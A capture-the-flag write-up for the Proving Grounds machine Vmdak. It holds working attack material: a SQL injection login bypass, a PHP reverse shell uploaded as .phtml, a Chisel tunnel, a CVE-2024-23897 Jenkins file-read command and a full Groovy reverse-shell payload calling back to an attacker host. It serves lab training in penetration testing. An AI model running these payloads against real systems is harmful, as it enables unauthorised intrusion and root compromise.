# Vmdak Writeup - Proving Grounds

> Intermediate Linux box where a SQL injection bypasses a Prison Management System login for an upload-filter bypass RCE, then a reused database password and a tunneled Jenkins CVE chain for root.

- **URL:** https://hackindex.io/writeups/vmdak
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** sql-injection, file-upload, ftp, information-disclosure, credential-reuse, jenkins, cve-2024-33288, cve-2024-23897
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Vmdak exposes a Prison Management System vulnerable to a SQL injection authentication bypass, chained with a filtered file upload to get a www-data shell. Application data leaks a database password reused for a system account, and an internally-bound Jenkins is tunneled out and exploited with an unauthenticated file read and the Script Console for root.

## Reconnaissance

### Nmap

Scan the target.

```bash
nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 21/tcp   open  ftp      vsFTPd 3.0.5 (anonymous login allowed)
# 22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu
# 80/tcp   open  http     Apache 2.4.58 (Ubuntu default page)
# 9443/tcp open  ssl/http Apache 2.4.58 (Prison Management System, cert CN: vmdak.local)
```

Anonymous FTP is allowed. Check it before touching the web apps.

### Anonymous FTP

Log in and grab anything available.

```bash
ftp $TARGET_IP
get config.xml
# Name: anonymous
# 230 Login successful.
```

`config.xml` is a Jenkins configuration file. It reveals the Jenkins version (2.401.2), the path to the initial admin password, and that the security realm has signup disabled, confirming an internal Jenkins instance exists on the host.

## Exploitation

### SQL injection authentication bypass (CVE-2024-33288)

Port 9443 runs a Prison Management System with a login at `/Admin/`, vulnerable to [CVE-2024-33288](https://www.cve.org/CVERecord?id=CVE-2024-33288), an unsanitized login query.

```
Username: admin' or '1'='1
Password: 123456
```

This bypasses authentication and lands on the admin dashboard. Browsing Leave Management surfaces a note left in a leave request.

```
Leave ID 2023399 - Reason: Dont forget the password: $MALCOM_PASSWORD - Staff: Malcom
```

The credential `Malcom:$MALCOM_PASSWORD` doesn’t work over SSH, suggesting it belongs to the application or its database instead. Move on to **User Management → Add Admin**, which has an image upload field.

### Upload filter bypass to RCE

The upload field filters by extension client-side. Prepare a PHP reverse shell under an alternate extension.

```bash
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
sed -i 's/127.0.0.1/$ATTACKER_IP/' shell.php
sed -i 's/1234/$ATTACKER_PORT/' shell.php
cp shell.php shell.phtml
```

Submit the add-admin form with `shell.phtml` as the image, intercept the request in Burp Suite, and force the `Content-Type` header to `image/jpeg` before forwarding. `.phtml` is not blocked by the server-side filter and Apache still executes it as PHP.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
curl -k "https://$TARGET_IP:9443/Admin/uploads/shell.phtml"
# www-data@vmdak:/var/www/html$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Pull database credentials out of the application config.

### Lateral movement via database credential reuse

Search for credentials in the web root.

```bash
cat /var/www/html/Admin/config.php
# $DB_USER = 'root';
# $DB_PASS = '$VMDAK_PASSWORD';
```

Connect to MySQL and pull the application’s user table, which holds the password for the `vmdak` system account.

```bash
mysql -u root -p'$VMDAK_PASSWORD' -e "SELECT * FROM tblleave;"
# <snip>
```

```bash
ssh vmdak@$TARGET_IP
# vmdak@vmdak:~$ id
# uid=1000(vmdak) gid=1000(vmdak) groups=1000(vmdak)
```

The database password is reused for the `vmdak` system account, giving SSH access and `local.txt`.

## Privilege Escalation

### Jenkins via port forwarding and CVE-2024-23897

Check for internally bound services.

```bash
ss -tlnp
# 127.0.0.1:8080  LISTEN  (jenkins)
```

Jenkins is only reachable from localhost. Tunnel it out with Chisel.

```bash
chisel server --reverse --port 9001
```

```bash
./chisel client $ATTACKER_IP:9001 R:8080:127.0.0.1:8080
```

Jenkins is now reachable at `http://127.0.0.1:8080` locally. The version from `config.xml` (2.401.2) is vulnerable to [CVE-2024-23897](https://nvd.nist.gov/vuln/detail/CVE-2024-23897), an unauthenticated arbitrary file read through the Jenkins CLI argument parser’s `@` file-inclusion syntax.

```bash
wget http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help "@/root/.jenkins/secrets/initialAdminPassword"
# ERROR: <contents of initialAdminPassword leaked in the error output>
```

The error output leaks the Jenkins admin password. Log in and open **Manage Jenkins → Script Console** to run Groovy.

```groovy
String host="$ATTACKER_IP";
int port=$ATTACKER_PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};p.destroy();s.close();
```

```bash
nc -lvnp $ATTACKER_PORT
# id
# uid=0(root) gid=0(root) groups=0(root)
```

The Script Console runs as root, giving a root shell.

Related

## References

- [CVE-2024-33288](https://nvd.nist.gov/vuln/detail/CVE-2024-33288) - SQL injection authentication bypass in a Prison Management System login.
- [CVE-2024-23897](https://nvd.nist.gov/vuln/detail/CVE-2024-23897) - Jenkins CLI unauthenticated arbitrary file read via the @ argument-file parser.
